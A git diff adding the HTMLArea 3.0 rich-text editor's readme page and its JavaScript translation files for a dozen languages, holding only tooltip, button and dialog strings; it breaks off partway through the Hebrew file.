+    to retrieve the code from CVS</a>, or you can <a
+    href="http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/itools-htmlarea">browse
+    the CVS online</a>.  We also have a <a
+    href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+    system</a>, a <a
+    href="http://sourceforge.net/tracker/?atid=525658&group_id=69750&func=browse">patch
+    tracking system</a> and a <a
+    href="http://sourceforge.net/tracker/?atid=525659&group_id=69750&func=browse">feature
+    request page</a>.</p>
+
+    <p>We invite you to say everything you want about HTMLArea <a
+    href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">on the
+    forums</a> at InteractiveTools.com.  There you should also find the
+    latest news.</p>
+
+    <p>Sometimes I post news about the latest developments on <a
+    href="http://dynarch.com/mishoo/">my personal homepage</a>.</p>
+
+    <h2>"It doesn't work, what's wrong?"</h2>
+
+    <p>If it doesn't work, you have several options:</p>
+
+    <ul>
+
+      <li>Post a message to the forum.  Describe your problem in as much
+      detail as possible.  Include errors you might find in the JavaScript
+      console (if you are a Mozilla user), or errors displayed by IE (though
+      they're most of the times useless).</li>
+
+      <li>If you're positive that you discovered a bug in HTMLArea then feel
+      free to fill a bug report in our bug system.  If you have the time you
+      should check to see if a similar bug was reported or not; it might be
+      fixed already in the CVS ;-) If you're positive that a similar bug was
+      not yet reported, do fill a bug report and please include as much
+      detail as possible, such as your browser, OS, errors from JavaScript
+      console, etc.</li>
+
+      <li>If you want a new feature to be implemented, post it on the
+      features request and someone will hopefully take care of it.</li>
+
+    </ul>
+
+    <p>You can <a href="mailto:mishoo@infoiasi.ro">contact me directly</a>
+    <em>only</em> if you want to pay me for implementing custom features to
+    HTMLArea.  If you want to sponsor these features (that is, allow them to
+    get back into the public HTMLArea distribution) I'll be cheaper. ;-)</p>
+
+    <hr />
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug  3 14:11:26 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:54:47 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
+
+<%ARGS>
+  $project => 'HTMLArea'
+  $version => '3.0'
+  $release => 'rc1'
+  $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
diff --git a/admin/htmlarea/lang/b5.js b/admin/htmlarea/lang/b5.js
new file mode 100755 (executable)
index 0000000..248c40a
--- /dev/null
@@ -0,0 +1,36 @@
+// I18N constants -- Chinese Big-5
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "b5",
+
+       tooltips: {
+               bold:           "²ÊÅé",
+               italic:         "±×Åé",
+               underline:      "©³½u",
+               strikethrough:  "§R°£½u",
+               subscript:      "¤U¼Ð",
+               superscript:    "¤W¼Ð",
+               justifyleft:    "¦ì¸m¾a¥ª",
+               justifycenter:  "¦ì¸m©~¤¤",
+               justifyright:   "¦ì¸m¾a¥k",
+               justifyfull:    "¦ì¸m¥ª¥k¥­µ¥",
+               orderedlist:    "¶¶§Ç²M³æ",
+               unorderedlist:  "µL§Ç²M³æ",
+               outdent:        "´î¤p¦æ«eªÅ¥Õ",
+               indent:         "¥[¼e¦æ«eªÅ¥Õ",
+               forecolor:      "¤å¦rÃC¦â",
+               backcolor:      "­I´ºÃC¦â",
+               horizontalrule: "¤ô¥­½u",
+               createlink:     "´¡¤J³sµ²",
+               insertimage:    "´¡¤J¹Ï§Î",
+               inserttable:    "´¡¤Jªí®æ",
+               htmlmode:       "¤Á´«HTML­ì©l½X",
+               popupeditor:    "©ñ¤j",
+               about:          "Ãö©ó HTMLArea",
+               help:           "»¡©ú",
+               textindicator:  "¦rÅé¨Ò¤l"
+       }
+};
diff --git a/admin/htmlarea/lang/cz.js b/admin/htmlarea/lang/cz.js
new file mode 100755 (executable)
index 0000000..331645f
--- /dev/null
@@ -0,0 +1,63 @@
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+       // the following should be the filename without .js extension\r\r
+       // it will be used for automatically load plugin language.\r\r
+       lang: "cz",\r\r
+\r\r
+       tooltips: {\r\r
+               bold:           "Tučně",\r\r
+               italic:         "Kurzíva",\r\r
+               underline:      "Podtržení",\r\r
+               strikethrough:  "Přeškrtnutí",\r\r
+               subscript:      "Dolní index",\r\r
+               superscript:    "Horní index",\r\r
+               justifyleft:    "Zarovnat doleva",\r\r
+               justifycenter:  "Na střed",\r\r
+               justifyright:   "Zarovnat doprava",\r\r
+               justifyfull:    "Zarovnat do stran",\r\r
+               orderedlist:    "Seznam",\r\r
+               unorderedlist:  "Odrážky",\r\r
+               outdent:        "Předsadit",\r\r
+               indent:         "Odsadit",\r\r
+               forecolor:      "Barva písma",\r\r
+               hilitecolor:    "Barva pozadí",\r\r
+               horizontalrule: "Vodorovná čára",\r\r
+               createlink:     "Vložit odkaz",\r\r
+               insertimage:    "Vložit obrázek",\r\r
+               inserttable:    "Vložit tabulku",\r\r
+               htmlmode:       "Přepnout HTML",\r\r
+               popupeditor:    "Nové okno editoru",\r\r
+               about:          "O této aplikaci",\r\r
+               showhelp:       "Nápověda aplikace",\r\r
+               textindicator:  "Zvolený styl",\r\r
+               undo:           "Vrátí poslední akci",\r\r
+               redo:           "Opakuje poslední akci",\r\r
+               cut:            "Vyjmout",\r\r
+               copy:           "Kopírovat",\r\r
+               paste:          "Vložit"\r\r
+       },\r\r
+\r\r
+       buttons: {\r\r
+               "ok":           "OK",\r\r
+               "cancel":       "Zrušit"\r\r
+       },\r\r
+\r\r
+       msg: {\r\r
+               "Path":         "Cesta",\r\r
+               "TEXT_MODE":    "Jste v TEXTOVÉM REŽIMU.  Použijte tlačítko [<>] pro přepnutí do WYSIWIG."\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/da.js b/admin/htmlarea/lang/da.js
new file mode 100755 (executable)
index 0000000..86dc617
--- /dev/null
@@ -0,0 +1,38 @@
+// danish version for htmlArea v3.0 - Alpha Release
+// - translated by rene<rene@laerke.net>
+// term´s and licenses are equal to htmlarea!
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "da",
+
+       tooltips: {
+               bold:           "Fed",
+               italic:         "Kursiv",
+               underline:      "Understregning",
+               strikethrough:  "Overstregning ",
+               subscript:      "Sænket skrift",
+               superscript:    "Hævet skrift",
+               justifyleft:    "Venstrejuster",
+               justifycenter:  "Centrer",
+               justifyright:   "Højrejuster",
+               justifyfull:    "Lige margener",
+               orderedlist:    "Opstilling med tal",
+               unorderedlist:  "Opstilling med punkttegn",
+               outdent:        "Formindsk indrykning",
+               indent:         "Forøg indrykning",
+               forecolor:      "Skriftfarve",
+               backcolor:      "Baggrundsfarve",
+               horizontalrule: "Horisontal linie",
+               createlink:     "Indsæt hyperlink",
+               insertimage:    "Indsæt billede",
+               inserttable:    "Indsæt tabel",
+               htmlmode:       "HTML visning",
+               popupeditor:    "Vis editor i popup",
+               about:          "Om htmlarea",
+               help:           "Hjælp",
+               textindicator:  "Anvendt stil"
+       }
+};
diff --git a/admin/htmlarea/lang/de.js b/admin/htmlarea/lang/de.js
new file mode 100755 (executable)
index 0000000..7cb00b3
--- /dev/null
@@ -0,0 +1,79 @@
+// I18N constants
+
+// LANG: "de", ENCODING: ISO-8859-1 for the german umlaut!
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "de",
+
+       tooltips: {
+               bold:           "Fett",
+               italic:         "Kursiv",
+               underline:      "Unterstrichen",
+               strikethrough:  "Durchgestrichen",
+               subscript:      "Hochgestellt",
+               superscript:    "Tiefgestellt",
+        justifyleft:            "Linksbündig",
+        justifycenter:          "Zentriert",
+        justifyright:           "Rechtsbündig",
+               justifyfull:    "Blocksatz",
+        orderedlist:      "Nummerierung",
+        unorderedlist:    "Aufzählungszeichen",
+               outdent:        "Einzug verkleinern",
+        indent:                 "Einzug vergrößern",
+        forecolor:              "Schriftfarbe",
+        backcolor:              "Hindergrundfarbe",
+        hilitecolor:            "Hintergrundfarbe",
+               horizontalrule: "Horizontale Linie",
+        inserthorizontalrule:   "Horizontale Linie",
+        createlink:             "Hyperlink einfügen",
+        insertimage:            "Bild einfügen",
+        inserttable:            "Tabelle einfügen",
+               htmlmode:       "HTML Modus",
+               popupeditor:    "Editor im Popup öffnen",
+        about:                  "Über htmlarea",
+        help:                   "Hilfe",
+               showhelp:       "Hilfe",
+        textindicator:          "Derzeitiger Stil",
+        undo:                   "Rückgängig",
+               redo:           "Wiederholen",
+               cut:            "Ausschneiden",
+               copy:           "Kopieren",
+        paste:                  "Einfügen aus der Zwischenablage",
+        lefttoright:            "Textrichtung von Links nach Rechts",
+        righttoleft:            "Textrichtung von Rechts nach Links"
+       },
+  
+ buttons: {
+               "ok":           "OK",
+               "cancel":       "Abbrechen"
+       },
+
+       msg: {
+               "Path":         "Pfad",
+        "TEXT_MODE":            "Sie sind im Text-Modus. Benutzen Sie den [<>] Knopf um in den visuellen Modus (WYSIWIG) zu gelangen.",
+
+        "Moz-Clipboard" :
+        "Aus Sicherheitsgründen dürfen Skripte normalerweise nicht programmtechnisch auf " +
+        "Ausschneiden/Kopieren/Einfügen zugreifen. Bitte klicken Sie OK um die technische " +
+        "Erläuterung auf mozilla.org zu öffnen, in der erklärt wird, wie einem Skript Zugriff " +
+        "gewährt werden kann."
+    },
+    
+    dialogs: {
+        "OK":                   "OK",
+        "Cancel":               "Abbrechen",
+        "Insert/Modify Link":   "Verknüpfung hinzufügen/ändern",
+        "None (use implicit)":  "k.A. (implizit)",
+        "New window (_blank)":  "Neues Fenster (_blank)",
+        "Same frame (_self)":   "Selber Rahmen (_self)",
+        "Top frame (_top)":     "Oberster Rahmen (_top)",
+        "Other":                "Anderes",
+        "Target:":              "Ziel:",
+        "Title (tooltip):":     "Titel (Tooltip):",
+        "URL:":                 "URL:",
+        "You must enter the URL where this link points to": "Sie müssen eine Ziel-URL angeben für die Verknüpfung angeben"
+       }
+};
diff --git a/admin/htmlarea/lang/ee.js b/admin/htmlarea/lang/ee.js
new file mode 100755 (executable)
index 0000000..91a29c4
--- /dev/null
@@ -0,0 +1,63 @@
+// I18N constants
+
+// LANG: "ee", ENCODING: UTF-8 | ISO-8859-1
+// Author: Martin Raie, <albertvill@hot.ee>
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "ee",
+
+       tooltips: {
+               bold:           "Paks",
+               italic:         "Kursiiv",
+               underline:      "Allakriipsutatud",
+               strikethrough:  "Läbikriipsutatud",
+               subscript:      "Allindeks",
+               superscript:    "Ülaindeks",
+               justifyleft:    "Joonda vasakule",
+               justifycenter:  "Joonda keskele",
+               justifyright:   "Joonda paremale",
+               justifyfull:    "Rööpjoonda",
+               orderedlist:    "Nummerdus",
+               unorderedlist:  "Täpploend",
+               outdent:        "Vähenda taanet",
+               indent:         "Suurenda taanet",
+               forecolor:      "Fondi värv",
+               hilitecolor:    "Tausta värv",
+               inserthorizontalrule: "Horisontaaljoon",
+               createlink:     "Lisa viit",
+               insertimage:    "Lisa pilt",
+               inserttable:    "Lisa tabel",
+               htmlmode:       "HTML/tavaline vaade",
+               popupeditor:    "Suurenda toimeti aken",
+               about:          "Teave toimeti kohta",
+               showhelp:       "Spikker",
+               textindicator:  "Kirjastiil",
+               undo:           "Võta tagasi",
+               redo:           "Tee uuesti",
+               cut:            "Lõika",
+               copy:           "Kopeeri",
+               paste:          "Kleebi"
+       },
+
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Loobu"
+       },
+
+       msg: {
+               "Path":         "Path",
+               "TEXT_MODE":    "Sa oled tekstireziimis.  Kasuta nuppu [<>] lülitamaks tagasi WYSIWIG reziimi."
+       }
+};
diff --git a/admin/htmlarea/lang/el.js b/admin/htmlarea/lang/el.js
new file mode 100755 (executable)
index 0000000..b7c5a27
--- /dev/null
@@ -0,0 +1,75 @@
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "el",
+
+       tooltips: {
+               bold:           "Έντονα",
+               italic:         "Πλάγια",
+               underline:      "Υπογραμμισμένα",
+               strikethrough:  "Διαγραμμένα",
+               subscript:      "Δείκτης",
+               superscript:    "Δείκτης",
+               justifyleft:    "Στοίχιση Αριστερά",
+               justifycenter:  "Στοίχιση Κέντρο",
+               justifyright:   "Στοίχιση Δεξιά",
+               justifyfull:    "Πλήρης Στοίχιση",
+               orderedlist:    "Αρίθμηση",
+               unorderedlist:  "Κουκκίδες",
+               outdent:        "Μείωση Εσοχής",
+               indent:         "Αύξηση Εσοχής",
+               forecolor:      "Χρώμα Γραμματοσειράς",
+               hilitecolor:    "Χρώμα Φόντου",
+               horizontalrule: "Οριζόντια Γραμμή",
+               createlink:     "Εισαγωγή Συνδέσμου",
+               insertimage:    "Εισαγωγή/Τροποποίηση Εικόνας",
+               inserttable:    "Εισαγωγή Πίνακα",
+               htmlmode:       "Εναλλαγή σε/από HTML",
+               popupeditor:    "Μεγένθυνση επεξεργαστή",
+               about:          "Πληροφορίες",
+               showhelp:       "Βοήθεια",
+               textindicator:  "Παρών στυλ",
+               undo:           "Αναίρεση τελευταίας ενέργειας",
+               redo:           "Επαναφορά από αναίρεση",
+               cut:            "Αποκοπή",
+               copy:           "Αντιγραφή",
+               paste:          "Επικόλληση",
+        lefttoright:    "Κατεύθυνση αριστερά προς δεξιά",
+        righttoleft:    "Κατεύθυνση από δεξιά προς τα αριστερά"
+       },
+
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Ακύρωση"
+       },
+
+       msg: {
+               "Path":         "Διαδρομή",
+               "TEXT_MODE":    "Είστε σε TEXT MODE.  Χρησιμοποιήστε το κουμπί [<>] για να επανέρθετε στο WYSIWIG.",
+
+       "IE-sucks-full-screen": "Η κατάσταση πλήρης οθόνης έχει προβλήματα με τον Internet Explorer, " +
+                                                               "λόγω σφαλμάτων στον ίδιο τον browser.  Αν το σύστημα σας είναι Windows 9x " +
+                                                               "μπορεί και να χρειαστείτε reboot. Αν είστε σίγουροι, πατήστε ΟΚ."
+       },
+
+       dialogs: {
+               "Cancel"                                            : "Ακύρωση",
+               "Insert/Modify Link"                                : "Εισαγωγή/Τροποποίηση σύνδεσμου",
+               "New window (_blank)"                               : "Νέο παράθυρο (_blank)",
+               "None (use implicit)"                               : "Κανένα (χρήση απόλυτου)",
+               "OK"                                                : "Εντάξει",
+               "Other"                                             : "Αλλο",
+               "Same frame (_self)"                                : "Ίδιο frame (_self)",
+               "Target:"                                           : "Target:",
+               "Title (tooltip):"                                  : "Τίτλος (tooltip):",
+               "Top frame (_top)"                                  : "Πάνω frame (_top)",
+               "URL:"                                              : "URL:",
+               "You must enter the URL where this link points to"  : "Πρέπει να εισάγετε το URL που οδηγεί αυτός ο σύνδεσμος"
+       }
+};
diff --git a/admin/htmlarea/lang/en.js b/admin/htmlarea/lang/en.js
new file mode 100755 (executable)
index 0000000..90a7649
--- /dev/null
@@ -0,0 +1,93 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "en",
+
+       tooltips: {
+               bold:           "Bold",
+               italic:         "Italic",
+               underline:      "Underline",
+               strikethrough:  "Strikethrough",
+               subscript:      "Subscript",
+               superscript:    "Superscript",
+               justifyleft:    "Justify Left",
+               justifycenter:  "Justify Center",
+               justifyright:   "Justify Right",
+               justifyfull:    "Justify Full",
+               orderedlist:    "Ordered List",
+               unorderedlist:  "Bulleted List",
+               outdent:        "Decrease Indent",
+               indent:         "Increase Indent",
+               forecolor:      "Font Color",
+               hilitecolor:    "Background Color",
+               horizontalrule: "Horizontal Rule",
+               createlink:     "Insert Web Link",
+               insertimage:    "Insert/Modify Image",
+               inserttable:    "Insert Table",
+               htmlmode:       "Toggle HTML Source",
+               popupeditor:    "Enlarge Editor",
+               about:          "About this editor",
+               showhelp:       "Help using editor",
+               textindicator:  "Current style",
+               undo:           "Undoes your last action",
+               redo:           "Redoes your last action",
+               cut:            "Cut selection",
+               copy:           "Copy selection",
+               paste:          "Paste from clipboard",
+               lefttoright:    "Direction left to right",
+               righttoleft:    "Direction right to left"
+       },
+
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Cancel"
+       },
+
+       msg: {
+               "Path":         "Path",
+               "TEXT_MODE":    "You are in TEXT MODE.  Use the [<>] button to switch back to WYSIWYG.",
+
+               "IE-sucks-full-screen" :
+               // translate here
+               "The full screen mode is known to cause problems with Internet Explorer, " +
+               "due to browser bugs that we weren't able to workaround.  You might experience garbage " +
+               "display, lack of editor functions and/or random browser crashes.  If your system is Windows 9x " +
+               "it's very likely that you'll get a 'General Protection Fault' and need to reboot.\n\n" +
+               "You have been warned.  Please press OK if you still want to try the full screen editor.",
+
+               "Moz-Clipboard" :
+               "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+               "for security reasons.  Click OK to see a technical note at mozilla.org " +
+               "which shows you how to allow a script to access the clipboard."
+       },
+
+       dialogs: {
+               "Cancel"                                            : "Cancel",
+               "Insert/Modify Link"                                : "Insert/Modify Link",
+               "New window (_blank)"                               : "New window (_blank)",
+               "None (use implicit)"                               : "None (use implicit)",
+               "OK"                                                : "OK",
+               "Other"                                             : "Other",
+               "Same frame (_self)"                                : "Same frame (_self)",
+               "Target:"                                           : "Target:",
+               "Title (tooltip):"                                  : "Title (tooltip):",
+               "Top frame (_top)"                                  : "Top frame (_top)",
+               "URL:"                                              : "URL:",
+               "You must enter the URL where this link points to"  : "You must enter the URL where this link points to"
+       }
+};
diff --git a/admin/htmlarea/lang/es.js b/admin/htmlarea/lang/es.js
new file mode 100755 (executable)
index 0000000..5a1e86f
--- /dev/null
@@ -0,0 +1,51 @@
+// I18N constants
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "es",
+
+       tooltips: {
+               bold:           "Negrita",
+               italic:         "Cursiva",
+               underline:      "Subrayado",
+               strikethrough:  "Tachado",
+               subscript:      "Subíndice",
+               superscript:    "Superíndice",
+               justifyleft:    "Alinear a la Izquierda",
+               justifycenter:  "Centrar",
+               justifyright:   "Alinear a la Derecha",
+               justifyfull:    "Justificar",
+               orderedlist:    "Lista Ordenada",
+               unorderedlist:  "Lista No Ordenada",
+               outdent:        "Aumentar Sangría",
+               indent:         "Disminuir Sangría",
+               forecolor:      "Color del Texto",
+               hilitecolor:    "Color del Fondo",
+               inserthorizontalrule: "Línea Horizontal",
+               createlink:     "Insertar Enlace",
+               insertimage:    "Insertar Imagen",
+               inserttable:    "Insertar Tabla",
+               htmlmode:       "Ver Documento en HTML",
+               popupeditor:    "Ampliar Editor",
+               about:          "Acerca del Editor",
+               showhelp:       "Ayuda",
+               textindicator:  "Estilo Actual",
+               undo:           "Deshacer",
+               redo:           "Rehacer",
+               cut:            "Cortar selección",
+               copy:           "Copiar selección",
+               paste:          "Pegar desde el portapapeles"
+       },
+
+       buttons: {
+               "ok":           "Aceptar",
+               "cancel":       "Cancelar"
+       },
+
+       msg: {
+               "Path":         "Ruta",
+               "TEXT_MODE":    "Esta en modo TEXTO. Use el boton [<>] para cambiar a WYSIWIG",
+       }
+};
diff --git a/admin/htmlarea/lang/fi.js b/admin/htmlarea/lang/fi.js
new file mode 100755 (executable)
index 0000000..2e18ea1
--- /dev/null
@@ -0,0 +1,46 @@
+// I18N constants
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "en",
+
+       tooltips: {
+               bold:                   "Lihavoitu",
+               italic:                 "Kursivoitu",
+               underline:              "Alleviivattu",
+               strikethrough:          "Yliviivattu",
+               subscript:              "Alaindeksi",
+               superscript:            "Yläindeksi",
+               justifyleft:            "Tasaa vasemmat reunat",
+               justifycenter:          "Keskitä",
+               justifyright:           "Tasaa oikeat reunat",
+               justifyfull:            "Tasaa molemmat reunat",
+               orderedlist:    "Numerointi",
+               unorderedlist:  "Luettelomerkit",
+               outdent:                "Lisää sisennystä",
+               indent:                 "Pienennä sisennystä",
+               forecolor:              "Fontin väri",
+               hilitecolor:            "Taustaväri",
+               inserthorizontalrule:   "Vaakaviiva",
+               createlink:             "Lisää Linkki",
+               insertimage:            "Lisää Kuva",
+               inserttable:            "Lisää Taulu",
+               htmlmode:               "HTML Lähdekoodi vs WYSIWYG",
+               popupeditor:            "Suurenna Editori",
+               about:                  "Tietoja Editorista",
+               showhelp:               "Näytä Ohje",
+               textindicator:          "Nykyinen tyyli",
+               undo:                   "Peruuta viimeinen toiminto",
+               redo:                   "Palauta viimeinen toiminto",
+               cut:                    "Leikkaa maalattu",
+               copy:                   "Kopioi maalattu",
+               paste:                  "Liitä leikepyödältä"
+       },
+
+       buttons: {
+               "ok":                   "Hyväksy",
+               "cancel":               "Peruuta"
+       }
+};
diff --git a/admin/htmlarea/lang/fr.js b/admin/htmlarea/lang/fr.js
new file mode 100755 (executable)
index 0000000..e307c81
--- /dev/null
@@ -0,0 +1,97 @@
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8 | ISO-8859-1
+// Author: Simon Richard, s.rich@sympatico.ca
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+// All technical terms used in this document are the ones approved
+// by the Office québécois de la langue française.
+// Tous les termes techniques utilisés dans ce document sont ceux
+// approuvés par l'Office québécois de la langue française.
+// http://www.oqlf.gouv.qc.ca/
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "fr",
+
+       tooltips: {
+               bold:           "Gras",
+               italic:         "Italique",
+               underline:      "Souligné",
+               strikethrough:  "Barré",
+               subscript:      "Indice",
+               superscript:    "Exposant",
+               justifyleft:    "Aligné à gauche",
+               justifycenter:  "Centré",
+               justifyright:   "Aligné à droite",
+               justifyfull:    "Justifier",
+               orderedlist:    "Numérotation",
+               unorderedlist:  "Puces",
+               outdent:        "Diminuer le retrait",
+               indent:         "Augmenter le retrait",
+               forecolor:      "Couleur de police",
+               hilitecolor:    "Surlignage",
+               horizontalrule: "Ligne horizontale",
+               createlink:     "Insérer un hyperlien",
+               insertimage:    "Insérer/Modifier une image",
+               inserttable:    "Insérer un tableau",
+               htmlmode:       "Passer au code source",
+               popupeditor:    "Agrandir l'éditeur",
+               about:          "À propos de cet éditeur",
+               showhelp:       "Aide sur l'éditeur",
+               textindicator:  "Style courant",
+               undo:           "Annuler la dernière action",
+               redo:           "Répéter la dernière action",
+               cut:            "Couper la sélection",
+               copy:           "Copier la sélection",
+               paste:          "Coller depuis le presse-papier",
+               lefttoright:    "Direction de gauche à droite",
+               righttoleft:    "Direction de droite à gauche"
+       },
+
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Annuler"
+       },
+
+       msg: {
+               "Path":         "Chemin",
+               "TEXT_MODE":    "Vous êtes en MODE TEXTE.  Appuyez sur le bouton [<>] pour retourner au mode tel-tel.",
+
+               "IE-sucks-full-screen" :
+               // translate here
+               "Le mode plein écran peut causer des problèmes sous Internet Explorer, " +
+               "ceci dû à des bogues du navigateur qui ont été impossible à contourner.  " +
+               "Les différents symptômes peuvent être un affichage déficient, le manque de " +
+               "fonctions dans l'éditeur et/ou pannes aléatoires du navigateur.  Si votre " +
+               "système est Windows 9x, il est possible que vous subissiez une erreur de type " +
+               "«General Protection Fault» et que vous ayez à redémarrer votre ordinateur." +
+               "\n\nConsidérez-vous comme ayant été avisé.  Appuyez sur OK si vous désirez tout " +
+               "de même essayer le mode plein écran de l'éditeur."
+       },
+
+       dialogs: {
+               "Cancel"                                            : "Annuler",
+               "Insert/Modify Link"                                : "Insérer/Modifier Lien",
+               "New window (_blank)"                               : "Nouvelle fenêtre (_blank)",
+               "None (use implicit)"                               : "Aucun (par défaut)",
+               "OK"                                                : "OK",
+               "Other"                                             : "Autre",
+               "Same frame (_self)"                                : "Même cadre (_self)",
+               "Target:"                                           : "Cible:",
+               "Title (tooltip):"                                  : "Titre (infobulle):",
+               "Top frame (_top)"                                  : "Cadre du haut (_top)",
+               "URL:"                                              : "Adresse Web:",
+               "You must enter the URL where this link points to"  : "Vous devez entrer l'adresse Web du lien"
+       }
+};
diff --git a/admin/htmlarea/lang/gb.js b/admin/htmlarea/lang/gb.js
new file mode 100755 (executable)
index 0000000..049087f
--- /dev/null
@@ -0,0 +1,36 @@
+// I18N constants -- Chinese GB
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "gb",
+
+       tooltips: {
+               bold:           "´ÖÌå",
+               italic:         "бÌå",
+               underline:      "µ×Ïß",
+               strikethrough:  "ɾ³ýÏß",
+               subscript:      "ϱê",
+               superscript:    "Éϱê",
+               justifyleft:    "λÖÿ¿×ó",
+               justifycenter:  "λÖþÓÖÐ",
+               justifyright:   "λÖÿ¿ÓÒ",
+               justifyfull:    "λÖÃ×óÓÒÆ½µÈ",
+               orderedlist:    "˳ÐòÇåµ¥",
+               unorderedlist:  "ÎÞÐòÇåµ¥",
+               outdent:        "¼õСÐÐǰ¿Õ°×",
+               indent:         "¼Ó¿íÐÐǰ¿Õ°×",
+               forecolor:      "ÎÄ×ÖÑÕÉ«",
+               backcolor:      "±³¾°ÑÕÉ«",
+               horizontalrule: "ˮƽÏß",
+               createlink:     "²åÈëÁ¬½á",
+               insertimage:    "²åÈëͼÐÎ",
+               inserttable:    "²åÈë±í¸ñ",
+               htmlmode:       "Çл»HTMLԭʼÂë",
+               popupeditor:    "·Å´ó",
+               about:          "¹Øì¶ HTMLArea",
+               help:           "˵Ã÷",
+               textindicator:  "×ÖÌåÀý×Ó"
+       }
+};
diff --git a/admin/htmlarea/lang/he.js b/admin/htmlarea/lang/he.js
new file mode 100755 (executable)
index 0000000..c7fd982
--- /dev/null
@@ -0,0 +1,89 @@
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+       // the following should be the filename without .js extension\r\r
+       // it will be used for automatically load plugin language.\r\r
+       lang: "he",\r\r
+\r\r
+       tooltips: {\r\r
+               bold:           "מודגש",\r\r
+               italic:         "נטוי",\r\r
+               underline:      "קו תחתי",\r\r
+               strikethrough:  "קו אמצע",\r\r
+               subscript:      "כתב עילי",\r\r
+               superscript:    "כתב תחתי",\r\r
+               justifyleft:    " ישור לשמאל",\r\r
+               justifycenter:  "ישור למרכז",\r\r
+               justifyright:   "ישור לימין",\r\r
+               justifyfull:    "ישור לשורה מלאה",\r\r
+               orderedlist:    "רשימה ממוספרת",\r\r
+               unorderedlist:  "רשימה לא ממוספרת",\r\r
+               outdent:        "הקטן כניסה",\r\r
+               indent:         "הגדל כניסה",\r\r
+               forecolor:      "צבע גופן",\r\r
+               hilitecolor:    "צבע רקע",\r\r
+               horizontalrule: "קו אנכי",\r\r
+               createlink:     "הכנס היפר-קישור",\r\r
+               insertimage:    "הכנס/שנה תמונה",\r\r
+               inserttable:    "הכנס טבלה",\r\r
+               htmlmode:       "שנה מצב קוד HTML",\r\r
+               popupeditor:    "הגדל את העורך",\r\r
+               about:          "אודות עורך זה",\r\r
+               showhelp:       "עזרה לשימוש בעורך",\r\r
+               textindicator:  "סגנון נוכחי",\r\r
+               undo:           "מבטל את פעולתך האחרונה",\r\r
+               redo:           "מבצע מחדש את הפעולה האחרונה שביטלת",\r\r
+               cut:            "גזור בחירה",\r\r
